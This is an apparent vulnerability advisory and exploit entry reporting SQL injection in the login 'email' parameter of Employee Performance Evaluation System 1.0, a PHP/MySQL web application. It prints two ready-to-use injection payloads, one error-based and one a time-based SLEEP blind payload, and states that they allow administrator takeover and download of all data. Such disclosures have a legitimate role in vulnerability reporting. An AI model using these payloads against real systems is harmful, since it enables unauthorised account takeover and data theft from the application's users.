Employee Performance Evaluation System 1.0 SQL Injection

## Title: Employee Performance Evaluation v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.11.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation

## Description:
The `email` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the email parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message
disappeared. You should review the contents of the error message, and
the application’s handling of other input, to confirm whether a
vulnerability is present.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

“`mysql

—
Parameter: email (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: email=YgGZcTAx@sourcecodester.com’ AND (SELECT 6536
FROM(SELECT COUNT(*),CONCAT(0x71786a7071,(SELECT
(ELT(6536=6536,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–
iQpA&password=hacked&login=0

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=YgGZcTAx@sourcecodester.com’ AND (SELECT 2365 FROM
(SELECT(SLEEP(5)))lFkz)– xqup&password=hacked&login=0
—

“`

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation)

## Proof and Exploit:
[href](https://streamable.com/9q1tni)